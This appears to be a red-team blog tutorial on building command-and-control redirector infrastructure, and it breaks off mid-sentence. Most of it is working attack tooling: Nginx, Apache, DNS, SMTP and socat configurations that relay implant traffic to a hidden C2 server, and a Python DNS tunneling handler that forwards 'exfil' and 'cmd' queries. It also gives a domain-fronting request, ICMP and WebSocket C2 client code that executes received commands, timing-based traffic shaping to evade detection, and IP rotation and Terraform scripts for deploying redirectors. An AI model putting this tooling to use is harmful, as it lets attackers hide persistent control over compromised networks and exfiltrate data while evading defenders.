c2-redirectors

2025-05-06

> source xbz0n@sh:~# <!-- -->C2 Redirectors: Advanced Infrastructure for Modern Red Team Operations

Log

xbz0n@sh:~#

C2 Redirectors: Advanced Infrastructure for Modern Red Team Operations

March 25, 2025

```
server {
    listen 443 ssl;
    server_name example.com;

    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    # Log configurations
    access_log /var/log/nginx/redirector-access.log;
    error_log /var/log/nginx/redirector-error.log;

    # Only allow specific User-Agents
    if ($http_user_agent !~* "Mozilla/5.0 \(Windows NT 10.0; Win64; x64\)") {
        return 404;
    }

    # Only allow specific request methods
    if ($request_method !~ ^(GET|POST)$) {
        return 404;
    }
```

Introduction

Let's talk about Command and Control (C2) infrastructure. It's the backbone of any red team operation, letting you talk to your implants in target environments. But here's the problem - connecting directly to C2 servers is way too risky these days. Modern security tools can spot these connections easily, which is bad news for your op.

That's where redirectors come in. They're basically middlemen that hide your actual C2 server. By routing traffic through redirectors, you make it much harder for blue teams to find and block your real command center. Each piece of your infrastructure has its own job, which makes everything more secure and effective.

In this article, I'll break down how to set up and use different types of C2 redirectors. I'll show you the nuts and bolts of the C2 communication chain and give you practical examples you can actually use.

The C2 Communication Chain Explained

Before we dive into redirectors, you need to understand how the whole C2 setup works. A modern C2 infrastructure has several layers:

1. **Implant/Agent** - This is your malicious code running on the compromised system. It calls home by making outbound connections that look like normal traffic.
2. **First-hop Infrastructure** - These are your redirectors - the first point of contact for your implants. They're exposed to the internet but shield your actual C2 server.
3. **Mid-tier Infrastructure** - This optional layer adds extra security and features like traffic filtering or additional authentication.
4. **Team Server** - This is your actual C2 server where you control everything. It should NEVER be directly exposed to the internet.

Why bother with all these layers? Simple - if someone discovers and blocks a redirector, your main infrastructure stays safe. You can just swap out the compromised redirector without disrupting your whole operation.

Types of C2 Redirectors

Different situations call for different types of redirectors. Let's look at the most common ones and how to set them up.

HTTP/HTTPS Redirectors

HTTP redirectors are super popular because HTTP traffic blends in perfectly with normal web browsing. Most corporate environments don't block it, making it ideal for C2.

Nginx Implementation

Nginx makes a great HTTP redirector. It's fast, flexible, and doesn't use many resources. Here's how to set it up:

```
server {
    listen 80;
    listen 443 ssl;
    server_name legitimate-looking-domain.com;

    ssl_certificate /etc/letsencrypt/live/legitimate-looking-
domain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/legitimate-looking-
domain.com/privkey.pem;

    access_log /var/log/nginx/legitimate-looking-domain.com.access.log;
    error_log /var/log/nginx/legitimate-looking-domain.com.error.log;

    # Critical: Only forward specific URIs to avoid detection
    location /news/api/v1/ {
        proxy_pass https://actual-c2-server.com:443/api/;
        proxy_ssl_server_name on;
        proxy_ssl_name actual-c2-server.com;
        proxy_set_header Host actual-c2-server.com;

        # Hide original headers
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
    }

    # Serve legitimate content for all other requests
    location / {
        root /var/www/legitimate-looking-domain.com;
        index index.html;
    }
}
```

This config does several important things:

- Listens on both HTTP and HTTPS ports
- Only forwards specific URLs to your C2 server
- Serves normal content for everything else
- Preserves client IP info
- Handles SSL encryption

For best results, put real content on your web server that matches the domain name. If your domain is news-related, throw some articles and images on there to make it look legit to anyone who checks.

Apache Implementation

If you prefer Apache, here's how to do the same thing:

```
<VirtualHost *:80>
    ServerName legitimate-looking-domain.com
    ServerAdmin admin@example.com
    DocumentRoot /var/www/legitimate-looking-domain.com

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # Redirect everything to HTTPS
    Redirect permanent / https://legitimate-looking-domain.com/
</VirtualHost>

<VirtualHost *:443>
    ServerName legitimate-looking-domain.com
    ServerAdmin admin@example.com
    DocumentRoot /var/www/legitimate-looking-domain.com

    SSLEngine on
    SSLCertificateFile /etc/letsencrypt/live/legitimate-looking-
domain.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/legitimate-looking-
domain.com/privkey.pem

    # Redirect specific URI pattern
    ProxyPass /news/api/v1/ https://actual-c2-server.com:443/api/
    ProxyPassReverse /news/api/v1/ https://actual-c2-server.com:443/api/

    # Set headers for client tracking
    ProxyPreserveHost Off
    RequestHeader set Host "actual-c2-server.com"
```

```
    RequestHeader set X-Forwarded-For "%{REMOTE_ADDR}s"
</VirtualHost>
```

This Apache setup does similar things:

- Forces everything to HTTPS
- Forwards only specific URLs to your C2
- Sets the right headers for tracking

Whether you pick Nginx or Apache comes down to what you know better and what features you need. Nginx is usually faster for proxying, but Apache might have more modules you can use.

DNS Redirectors

DNS redirectors handle domain lookups, which is perfect for environments that lock down HTTP but still allow DNS queries (pretty much all networks).

BIND Implementation

BIND is the most common DNS server, and it works great for redirectors:

```
# named.conf.local
zone "c2domain.com" {
    type master;
    file "/etc/bind/zones/c2domain.com.zone";
};

# /etc/bind/zones/c2domain.com.zone
$TTL 3600
@       IN      SOA     c2domain.com. admin.c2domain.com. (
                        202503181 ; Serial
                        3600      ; Refresh
                        1800      ; Retry
                        604800    ; Expire
                        86400 )   ; Minimum TTL

@       IN      NS      ns1.c2domain.com.
@       IN      NS      ns2.c2domain.com.
@       IN      A       203.0.113.10  ; Redirector IP
ns1     IN      A       203.0.113.10
ns2     IN      A       203.0.113.10
```

```
# Add DNS TXT records for data exfiltration
_data1  IN      TXT     "redirect-to-actual-c2-server-ip"
```

This BIND setup makes your redirector the authoritative server for your C2 domain. The zone file defines various records:

- SOA records for admin info
- NS records for name servers
- A records to map hostnames to IPs
- TXT records for DNS tunneling

DNS redirectors work so well because:

1. They handle normal DNS queries
2. They can forward special queries to your C2
3. They can sneak data out through DNS TXT records
4. They use UDP port 53, which is rarely blocked

For more advanced DNS tunneling, you can write a custom handler:

```
#!/usr/bin/env python3
import socket
import dnslib
import threading

def dns_handler(data, client_addr, server_sock):
    request = dnslib.DNSRecord.parse(data)
    domain = str(request.q.qname)

    # Log the incoming request
    print(f"Query from {client_addr[0]}: {domain}")

    # Forward specific subdomains to the actual C2 server
    if "exfil" in domain or "cmd" in domain:
        # Forward to actual C2 DNS server
        c2_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        c2_sock.sendto(data, ("192.168.100.10", 53))
        c2_response, _ = c2_sock.recvfrom(1024)
        server_sock.sendto(c2_response, client_addr)
    else:
        # Handle normally or return predefined response
        qname = request.q.qname
        reply = request.reply()
```

```
        reply.add_answer(dnslib.RR(qname, dnslib.QTYPE.A,
rdata=dnslib.A("203.0.113.10")))
        server_sock.sendto(reply.pack(), client_addr)

def main():
    server_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_sock.bind(("0.0.0.0", 53))

    print("DNS redirector running...")

    while True:
        data, client_addr = server_sock.recvfrom(1024)
        thread = threading.Thread(target=dns_handler, args=(data,
client_addr, server_sock))
        thread.daemon = True
        thread.start()

if __name__ == "__main__":
    main()
```

This Python script:

- Listens for DNS queries on port 53
- Parses the queries
- Looks for special patterns that indicate C2 traffic
- Forwards those to your actual C2 server
- Sends normal responses for everything else
- Uses threading to handle multiple requests

The beauty of DNS tunneling is hiding command and control data in what looks like regular DNS queries. Your implant might encode data in subdomain queries like `base64encodeddata123.exfil.c2domain.com`, and your redirector knows to forward these special queries.

SMTP Redirectors

Email can be another sneaky way to run your C2. This works especially well when security teams are so focused on web traffic that they forget about email. SMTP redirectors forward specially crafted emails between your implants and C2 server.

Here's a simple Postfix setup to create an SMTP redirector:

```
# Postfix main.cf snippet
relay_domains = legitimate-company.com, c2domain.com
transport_maps = hash:/etc/postfix/transport

# /etc/postfix/transport
c2domain.com    smtp:[192.168.100.10]
```

What this does:

- Sets up Postfix to handle emails for two domains: a legit-looking company domain and your C2 domain
- Creates a routing rule that sends all C2 domain emails straight to your actual C2 server
- Looks like a normal mail server while secretly handling your C2 traffic

SMTP redirectors have some unique advantages:

1. Email traffic is expected in every company
2. Email usually isn't inspected as closely as web traffic
3. Email's store-and-forward design gives you built-in reliability
4. Emails can carry lots of data for exfiltration

To make your SMTP redirector even better, you could:

- Add filters to only forward emails with special markers
- Encrypt/decrypt email bodies
- Use subject lines to encode commands
- Handle attachments for data exfiltration

Multi-Protocol Socat Redirectors

Need something quick and flexible? Socat is perfect. It's a swiss-army knife tool that can create data channels between all kinds of different network connections.

```
# TCP redirection
socat TCP-LISTEN:80,fork TCP:192.168.100.10:80

# TCP with SSL termination
socat OPENSSL-LISTEN:443,cert=server.pem,fork TCP:192.168.100.10:443
```

```
# UDP redirection (useful for DNS)
socat UDP-LISTEN:53,fork UDP:192.168.100.10:53
```

These simple commands create powerful redirectors:

- The first one takes TCP connections on port 80 and forwards them to your C2
- The second handles HTTPS traffic on port 443
- The third manages UDP on port 53, perfect for DNS tunneling

The `fork` parameter creates a new process for each connection, letting your redirector handle multiple clients at once. While socat isn't as fancy as dedicated web or DNS servers, it's great for:

1. Quick deployment when you're in a hurry
2. Temporary redirectors
3. Testing new C2 channels
4. Low-resource environments
5. Unusual or custom protocols

Want to make your socat redirectors more secure? Try these options:

```
# Source IP filtering
socat TCP-LISTEN:80,fork,range=192.168.1.0/24 TCP:192.168.100.10:80

# Connection rate limiting
socat TCP-LISTEN:80,fork,max-children=10 TCP:192.168.100.10:80

# Logging all traffic
socat -v TCP-LISTEN:80,fork TCP:192.168.100.10:80 2>>/var/log/socat.log
```

These tweaks add basic security to your socat redirectors, preventing abuse and keeping your operation secure.

Each type of redirector has its strengths depending on what you need and what security you're up against. By using these redirectors strategically, you'll have a much stealthier and more resilient C2 infrastructure.

These redirector techniques are essential for modern red teams. They help you maintain access to your targets without getting caught. As blue teams get better at detection, red teams need to keep improving

their methods. The techniques I've shown you are current best practices, but you'll need to adapt them to your specific target environment.

Advanced Redirector Techniques

Domain Fronting

Domain fronting is a powerful trick that uses Content Delivery Networks (CDNs) to hide where your HTTPS traffic is really going. It exploits the fact that the domain in your DNS request and TLS handshake can be different from the actual host header inside the encrypted HTTPS request.

Here's how domain fronting works in simple terms:

1. Your implant connects to a trusted domain on a CDN (like `high-reputation-domain.com`)
2. Inside the encrypted HTTP headers, it asks for your actual C2 server
3. The CDN routes the request to your server within its network
4. Network monitoring only sees the connection to the trusted domain

This Python code shows a basic domain fronting request:

```
#!/usr/bin/env python3
import requests

# The domain fronting request
headers = {
    'Host': 'actual-c2-server.com',  # Real backend server
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36'
}

# The connection goes to a high-reputation domain on the same CDN
response = requests.get(
    'https://high-reputation-domain.com/path',  # CDN edge domain
    headers=headers
)

print(response.text)
```

Domain fronting is so effective because:

- The part of the connection visible to monitoring shows only the trusted domain
- The real destination is hidden in the encrypted TLS session
- Your traffic looks like it's going to legitimate services
- Blocking the front domain causes collateral damage since it's used for legitimate purposes

To set up domain fronting for your C2:

1. **Find a suitable CDN**: Try Azure Front Door, Amazon CloudFront, or Fastly. Look for one that doesn't check if the Host header matches the SNI.
2. **Put your C2 server behind the CDN**: Configure it to accept requests forwarded based on the Host header.
3. **Configure your implants**: Update them to use domain fronting - connect to the trusted domain but set your C2 server in the Host header.
4. **Watch for CDN policy changes**: CDN providers keep updating their policies on domain fronting. Be ready to adapt if they start blocking it.

While domain fronting has gotten harder as CDN providers crack down, variations like "domain hiding" still work in similar ways.

Protocol Encapsulation

Protocol encapsulation means hiding your C2 traffic inside other protocols to avoid detection. This works because some protocols get less scrutiny or are harder to inspect deeply.

Here's an example of hiding C2 data in normal-looking HTTPS requests:

```
def encapsulate_in_https(c2_data):
    """Encapsulate C2 data in a legitimate-looking HTTPS request"""
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36',
        'Accept': 'text/html,application/xhtml+xml',
        'Accept-Language': 'en-US,en;q=0.9',
        'Referer': 'https://www.google.com/',
        'X-Custom-Data': base64.b64encode(c2_data).decode('utf-8')
```

```
    }

    # Add randomized legitimate parameters
    params = {
        'id': str(random.randint(10000, 99999)),
        'session':
''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=16)),
        'utm_source': random.choice(['google', 'bing', 'facebook',
'twitter'])
    }

    return requests.get('https://redirector-domain.com/blog/article',
headers=headers, params=params)
```

This function disguises C2 traffic as normal web browsing by:

- Using realistic browser headers
- Adding common query parameters like you'd see in normal web traffic
- Hiding the C2 data in a custom header
- Using plausible URLs that look like normal browsing

Other good protocols for encapsulation include:

1. **ICMP Tunneling**: Hiding data in ping packets, which often pass through firewalls easily.

```
def icmp_tunnel_send(c2_data, target_ip):
    """Send C2 data in ICMP packets"""
    # Split data into chunks to fit in ICMP packets
    chunks = [c2_data[i:i+32] for i in range(0, len(c2_data), 32)]

    for i, chunk in enumerate(chunks):
        # Create an ICMP echo request with data in the payload
        packet = IP(dst=target_ip)/ICMP(type=8, seq=i)/Raw(load=chunk)
        send(packet, verbose=0)
        time.sleep(random.uniform(0.1, 0.5))  # Add jitter
```

2. **WebSocket Tunneling**: Using WebSockets which allow two-way communication once established.

```
// WebSocket-based C2 client
const establishC2Channel = () => {
    const ws = new WebSocket('wss://legitimate-ws-service.com/socket');
```

```
    ws.onopen = () => {
        console.log('Connection established');
        // Send initial beacon
        ws.send(JSON.stringify({
            type: 'status',
            data: encodeSystemInfo()
        }));
    };

    ws.onmessage = (event) => {
        const message = JSON.parse(event.data);
        // Process commands from the C2 server
        if (message.type === 'command') {
            executeCommand(message.data)
                .then(result => {
                    ws.send(JSON.stringify({
                        type: 'result',
                        id: message.id,
                        data: result
                    }));
                });
        }
    };

    // Implement reconnection logic
    ws.onclose = () => {
        setTimeout(establishC2Channel, getJitteredInterval(5000, 30000));
    };
};
```

3. **DNS Tunneling**: Encoding data in DNS queries and responses, which we talked about earlier.

For best results, combine protocol encapsulation with traffic shaping to make your traffic patterns look like the legitimate protocol you're mimicking.

Traffic Shaping and Timing

Traffic shaping is about making your C2 traffic look like normal traffic patterns. This makes it harder for defenders to spot your activity through timing analysis or by watching traffic flows.

Here's a simple implementation that mimics how real humans and business hours work:

```
def send_c2_traffic(data):
    """Send C2 traffic with realistic timing patterns"""
    chunks = split_into_chunks(data)

    for chunk in chunks:
        # Working hours pattern (more traffic during business hours)
        hour = datetime.now().hour
        if 9 <= hour <= 17:  # Business hours
            delay = random.uniform(1, 5)  # 1-5 seconds
        else:
            delay = random.uniform(30, 120)  # 30-120 seconds

        # Randomize weekends
        if datetime.now().weekday() >= 5:  # Weekend
            delay *= 2

        time.sleep(delay)
        send_chunk(chunk)
```

This function includes several smart traffic shaping tricks:

- **Time awareness:** Sends more traffic during work hours
- **Day-of-week awareness:** Slows down on weekends like a real office
- **Random delays:** Uses different time intervals to avoid patterns
- **Chunked transmission:** Breaks big data into smaller pieces to avoid suspicious large transfers

For more advanced traffic shaping, try these techniques:

1. **Volume-based shaping:** Change how much data you transfer based on the time of day.

```
def determine_safe_transfer_volume():
    """Determine safe data transfer volume based on time patterns"""
    hour = datetime.now().hour
    weekday = datetime.now().weekday()

    # Base volume (in KB)
    if weekday < 5:  # Weekday
        if 9 <= hour < 12 or 13 <= hour < 17:  # Peak work hours
            return random.randint(50, 200)
        elif 7 <= hour < 9 or 17 <= hour < 19:  # Commute times
            return random.randint(20, 50)
        else:  # Night time
```

```
            return random.randint(5, 15)
    else:  # Weekend
        return random.randint(10, 30)
```

2. **Browser behavior mimicry**: Make your traffic look like someone browsing the web.

```
def mimic_browser_behavior(session, target_url):
    """Mimic realistic browsing patterns for web-based C2"""
    # First request: main page
    response = session.get(target_url)

    # Extract links from the page
    links = extract_links(response.text)

    # Visit 2-5 random pages from the site
    for _ in range(random.randint(2, 5)):
        if not links:
            break

        # Choose a random link
        next_url = random.choice(links)
        links.remove(next_url)

        # Add realistic delay between page visits
        time.sleep(random.uniform(3, 15))

        # Visit the page
        session.get(next_url)

    # Return to main page occasionally
    if random.random() < 0.3:
        time.sleep(random.uniform(5, 20))
        session.get(target_url)
```

3. **Protocol-specific shaping**: Make sure your traffic matches the expected patterns for the protocol you're using.

For HTTP-based C2, this includes things like:

- Requesting resources in the right order (HTML first, then CSS/JS/images)
- Using proper caching headers
- Maintaining cookies for sessions

- Following realistic referrer paths

For DNS-based C2:

- Mimicking normal DNS cache behavior
- Avoiding too many queries
- Respecting TTL values
- Mixing legitimate queries with your C2 queries

With good traffic shaping, your C2 communications will be much harder to distinguish from legitimate traffic patterns.

Redirector Hardening

Besides the evasion techniques we've discussed, you also need to harden your redirectors against discovery, compromise, and attribution to maintain good operational security.

TLS Certificate Management

Proper TLS certificates are crucial. Modern networks often inspect TLS traffic and check certificates, so you need to get this right.

Here's a good approach to certificate management:

```
# Using Let's Encrypt for legitimate-looking certificates
certbot certonly --standalone -d legitimate-looking-domain.com

# Check certificate expiration
openssl x509 -in /etc/letsencrypt/live/legitimate-looking-
domain.com/cert.pem -noout -dates

# Set up automatic renewal
echo "0 0 * * * root certbot renew --quiet" > /etc/cron.d/certbot-renew
```

For maximum security and legitimacy:

1. **Use trusted certificate authorities**: Let's Encrypt certs are widely trusted and commonly used on legitimate sites.
2. **Create proper certificate parameters**:

```
# Creating a proper CSR with appropriate parameters
openssl req -new -sha256 -key domain.key -subj "/C=US/ST=California/L=San
```

```
Francisco/O=Technology Blog/CN=legitimate-looking-domain.com" -reqexts SAN -
config <(cat /etc/ssl/openssl.cnf <(printf "
[SAN]\nsubjectAltName=DNS:legitimate-looking-domain.com,DNS:www.legitimate-
looking-domain.com")) -out domain.csr
```

3. **Set up strong cipher configurations:**

```
# Nginx configuration for modern TLS security
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers off;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-
ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-
POLY1305:ECDHE-RSA-CHACHA20-POLY1305;
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
```

4. **Use OCSP stapling** to prevent certificate checks that might reveal suspicious activity:

```
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /etc/letsencrypt/live/legitimate-looking-
domain.com/chain.pem;
resolver 8.8.8.8 8.8.4.4 valid=300s;
resolver_timeout 5s;
```

5. **Be aware of certificate transparency logs:** Remember that new certificates are logged publicly, which defenders might monitor.

```
def check_certificate_transparency_exposure(domain):
    """Check if a domain appears in certificate transparency logs"""
    url = f"https://crt.sh/?q={domain}&output=json"
    response = requests.get(url)

    if response.status_code == 200:
        certificates = response.json()
        print(f"Found {len(certificates)} certificates for {domain}")
        for cert in certificates[:5]:  # Show the 5 most recent
            print(f"Issued: {cert['entry_timestamp']}, CA:
{cert['issuer_name']}")
    else:
        print("Failed to check certificate transparency logs")
```

With proper certificate management, your redirectors will present legitimate TLS setups that don't trigger security alerts.

IP Rotation Strategies

To avoid getting detected through IP blocklists or reputation monitoring, you should rotate your redirector IPs regularly. Here's how to automate it with AWS:

```
import boto3
import time

def rotate_redirector_ip():
    """Rotate EC2 instance Elastic IP to avoid blocking"""
    ec2 = boto3.client('ec2')

    # Allocate new Elastic IP
    new_ip = ec2.allocate_address(Domain='vpc')

    # Get current instance ID
    instances = ec2.describe_instances(
        Filters=[{'Name': 'tag:Role', 'Values': ['redirector']}]
    )
    instance_id = instances['Reservations'][0]['Instances'][0]['InstanceId']

    # Associate new IP with instance
    ec2.associate_address(
        InstanceId=instance_id,
        AllocationId=new_ip['AllocationId']
    )

    # Update DNS records
    update_dns_records(new_ip['PublicIp'])

    # Wait for propagation
    time.sleep(300)

    # Release old IP if needed
    old_addresses = ec2.describe_addresses()
    for addr in old_addresses['Addresses']:
        if 'InstanceId' not in addr and addr['AllocationId'] !=
new_ip['AllocationId']:
            ec2.release_address(AllocationId=addr['AllocationId'])
```

This function handles several key aspects of IP rotation:

- Gets a new IP address automatically
- Attaches it to your existing server
- Updates DNS records to point to the new IP
- Waits for DNS to propagate
- Cleans up old IPs to avoid unnecessary costs

For even better IP rotation:

1. **Schedule regular rotations** that don't line up with specific activities.

```
def schedule_ip_rotation(ec2_instances, rotation_frequency_hours=72):
    """Schedule regular IP rotation for multiple redirectors"""
    import schedule

    # Stagger rotation times to avoid all redirectors changing
simultaneously
    for i, instance in enumerate(ec2_instances):
        # Calculate hours offset to stagger rotations
        offset_hours = (i * rotation_frequency_hours) / len(ec2_instances)
        initial_delay = datetime.timedelta(hours=offset_hours)
        next_rotation = datetime.datetime.now() + initial_delay

        print(f"Scheduling instance {instance} for first rotation at
{next_rotation}")

        # Schedule initial rotation

schedule.every(rotation_frequency_hours).hours.do(rotate_instance_ip,
instance_id=instance)

    # Run the scheduler
    while True:
        schedule.run_pending()
        time.sleep(60)
```

2. **Use IPs from different regions** to make attribution harder and avoid regional blocks.

```
def allocate_ip_in_region(region):
    """Allocate an IP address in a specific AWS region"""
    ec2 = boto3.client('ec2', region_name=region)

    # Allocate Elastic IP in the specified region
```

```
    allocation = ec2.allocate_address(Domain='vpc')

    return {
        'region': region,
        'allocation_id': allocation['AllocationId'],
        'public_ip': allocation['PublicIp']
    }

# Allocate IPs across different regions
regions = ['us-east-1', 'eu-west-1', 'ap-southeast-1', 'sa-east-1']
regional_ips = [allocate_ip_in_region(region) for region in regions]
```

3. **Monitor IP reputation** regularly to check if your redirector IPs have been flagged.

```
def check_ip_reputation(ip_address):
    """Check if an IP has been flagged in threat intelligence platforms"""
    # Example using AbuseIPDB API
    url = f"https://api.abuseipdb.com/api/v2/check"
    headers = {
        'Key': 'YOUR_API_KEY',
        'Accept': 'application/json',
    }
    params = {
        'ipAddress': ip_address,
        'maxAgeInDays': 90
    }

    response = requests.get(url, headers=headers, params=params)
    data = response.json()

    if data['data']['abuseConfidenceScore'] > 20:
        print(f"WARNING: IP {ip_address} has a high abuse score:
{data['data']['abuseConfidenceScore']}")
        return True

    return False

# Check all redirector IPs
for redirector_ip in get_current_redirector_ips():
    if check_ip_reputation(redirector_ip):
        # Trigger an emergency rotation if the IP is flagged
        emergency_rotate_ip(redirector_ip)
```

With good IP rotation strategies, you'll significantly reduce the risk of your redirectors being identified and blocked through IP-based detection.

Firewall Configuration

Good firewall rules are essential to protect your redirectors from attacks while still making them look like normal servers.

```
# iptables rules to harden redirector
# Allow only necessary ports
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Rate limiting to prevent fingerprinting
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --update
--seconds 60 --hitcount 20 -j DROP

# Log suspicious activities
iptables -A INPUT -p tcp --dport 22 -j LOG --log-prefix "SSH ATTEMPT: "

# Geolocation filtering if applicable to the operation
iptables -A INPUT -m geoip --src-cc RU,CN -j DROP
```

These firewall rules do several important things:

- **Limit ports**: Only allow HTTP/HTTPS traffic
- **Rate limiting**: Block rapid connection attempts that might be scanning
- **Log suspicious stuff**: Keep track of attempts to access SSH
- **Geo-filtering**: Block traffic from countries not relevant to your op

For even better firewall hardening:

1. **Allow established connections but deny other incoming traffic:**

```
# Allow established and related traffic
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow loopback traffic
iptables -A INPUT -i lo -j ACCEPT

# Allow specific services
```

```
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Default deny rule
iptables -A INPUT -j DROP
```

2. **Drop scan attempts without responding:**

```
# Drop common scan attempts without response
iptables -A INPUT -p tcp --dport 22 -j DROP
iptables -A INPUT -p tcp --dport 3389 -j DROP
iptables -A INPUT -p tcp --dport 445 -j DROP
iptables -A INPUT -p tcp --dport 1433 -j DROP
```

3. **Optimize connection tracking:**

```
# Set custom connection tracking timeouts
echo "net.netfilter.nf_conntrack_tcp_timeout_established=3600" >>
/etc/sysctl.conf
echo "net.netfilter.nf_conntrack_udp_timeout=30" >> /etc/sysctl.conf
echo "net.netfilter.nf_conntrack_icmp_timeout=30" >> /etc/sysctl.conf
sysctl -p
```

With good firewall rules, you not only protect your redirectors from common attacks but also make sure they look like legitimate servers on the network.

Modern red team operations need infrastructure that's quick to deploy, easy to maintain, and adaptable to changing situations. The approaches we've covered help meet these needs while keeping your operation secure and resilient.

Building a Complete Redirector Fleet

Infrastructure as Code (Terraform)

Infrastructure as Code (IaC) enables you to define, deploy, and manage your redirector infrastructure through code rather than manual processes. Terraform is particularly well-suited for this purpose, allowing you to version-control your infrastructure and ensure consistent deployments.

Here's a comprehensive example of using Terraform to deploy a complete redirector infrastructure:

```
provider "aws" {
  region = "us-east-1"
}

# Create redirector VPC
resource "aws_vpc" "redirector_vpc" {
  cidr_block = "10.0.0.0/16"
  tags = {
    Name = "RedirectorVPC"
  }
}

# Create public subnet
resource "aws_subnet" "redirector_subnet" {
  vpc_id     = aws_vpc.redirector_vpc.id
  cidr_block = "10.0.1.0/24"
  map_public_ip_on_launch = true
  tags = {
    Name = "RedirectorSubnet"
  }
}

# Create security group
resource "aws_security_group" "redirector_sg" {
  name        = "redirector_sg"
  description = "Allow HTTP/HTTPS inbound traffic"
  vpc_id      = aws_vpc.redirector_vpc.id

  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
```

```
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

# Create EC2 instance
resource "aws_instance" "http_redirector" {
  ami           = "ami-0c55b159cbfafe1f0" # Ubuntu 20.04 LTS
  instance_type = "t3.micro"
  subnet_id     = aws_subnet.redirector_subnet.id
  vpc_security_group_ids = [aws_security_group.redirector_sg.id]
  key_name      = "redirector-key"

  user_data = <<-EOF
              #!/bin/bash
              apt-get update
              apt-get install -y nginx certbot python3-certbot-nginx
              echo 'server {
                  listen 80;
                  server_name ${var.redirector_domain};
                  location /news/api/v1/ {
                      proxy_pass https://${var.c2_server}/api/;
                      proxy_set_header Host ${var.c2_server};
                  }
                  location / {
                      root /var/www/html;
                      index index.html;
                  }
              }' > /etc/nginx/sites-available/default
              systemctl restart nginx
              EOF

  tags = {
    Name = "HTTP-Redirector"
    Role = "redirector"
  }
}

# Create managed DNS record
resource "aws_route53_record" "redirector_dns" {
  zone_id = var.hosted_zone_id
  name    = var.redirector_domain
  type    = "A"
  ttl     = "300"
```

```
  records = [aws_instance.http_redirector.public_ip]
}

# Variables
variable "redirector_domain" {
  description = "Domain name for the redirector"
  type        = string
  default     = "news-updates.com"
}

variable "c2_server" {
  description = "Actual C2 server domain or IP"
  type        = string
}

variable "hosted_zone_id" {
  description = "Route53 hosted zone ID"
  type        = string
}

# Outputs
output "redirector_ip" {
  value = aws_instance.http_redirector.public_ip
}

output "redirector_domain" {
  value = var.redirector_domain
}
```

This Terraform configuration:

- Creates a dedicated VPC and subnet for the redirector
- Configures appropriate security groups allowing only necessary ports
- Deploys an EC2 instance with nginx pre-configured as a redirector
- Sets up DNS records pointing to the redirector
- Outputs the redirector's IP and domain for reference

The advantages of using Infrastructure as Code for your redirector fleet include:

1. **Repeatability**: Ensures consistent deployments across multiple redirectors
2. **Version control**: Tracks changes to your infrastructure over time

3. **Rapid deployment**: Enables quick setup of new redirectors when needed
4. **Documentation**: The code itself serves as documentation of your infrastructure
5. **Automation**: Facilitates integration with CI/CD pipelines for automated deployment

To extend this approach for a complete redirector fleet, you can:

- Use Terraform modules to define different types of redirectors (HTTP, DNS, SMTP)
- Implement multi-region deployments for geographic diversity
- Set up auto-scaling groups for high-availability requirements
- Integrate with secret management services for secure credential handling

Ansible for Configuration Management

While Terraform excels at provisioning infrastructure, Ansible complements it by managing configuration and software on your redirectors. This combination provides a powerful approach to maintaining a consistent and secure redirector fleet.

```
---
- name: Configure HTTP Redirector
  hosts: redirectors
  become: yes
  vars:
    redirector_domain: "news-updates.com"
    c2_server: "actual-c2-server.com"
    cert_email: "admin@example.com"

  tasks:
    - name: Update and upgrade apt packages
      apt:
        upgrade: yes
        update_cache: yes

    - name: Install required packages
      apt:
        name:
          - nginx
          - certbot
```

```
          - python3-certbot-nginx
          - fail2ban
          - ufw
        state: present

    - name: Configure Nginx
      template:
        src: templates/nginx.conf.j2
        dest: /etc/nginx/sites-available/default
      notify: Restart Nginx

    - name: Configure fail2ban
      template:
        src: templates/jail.local.j2
        dest: /etc/fail2ban/jail.local
      notify: Restart fail2ban

    - name: Configure UFW
      ufw:
        rule: allow
        port: "{{ item }}"
        proto: tcp
      loop:
        - 80
        - 443

    - name: Enable UFW
      ufw:
        state: enabled
        policy: deny

    - name: Obtain SSL certificate
      shell: >
        certbot --nginx -d {{ redirector_domain }} --non-interactive --
agree-tos -m {{ cert_email }}
      args:
        creates: /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem

    - name: Set up automatic certificate renewal
      cron:
        name: "Certbot renewal"
        job: "certbot renew --quiet --no-self-upgrade"
        special_time: daily

  handlers:
    - name: Restart Nginx
```

```
      service:
        name: nginx
        state: restarted

    - name: Restart fail2ban
      service:
        name: fail2ban
        state: restarted
```

This Ansible playbook performs several key tasks:

- Updates the system and installs necessary packages
- Configures Nginx using a template for consistent configuration
- Sets up fail2ban to protect against brute force attempts
- Configures a firewall (UFW) with appropriate rules
- Obtains and configures SSL certificates with automatic renewal

For comprehensive configuration management, your Ansible repository should include:

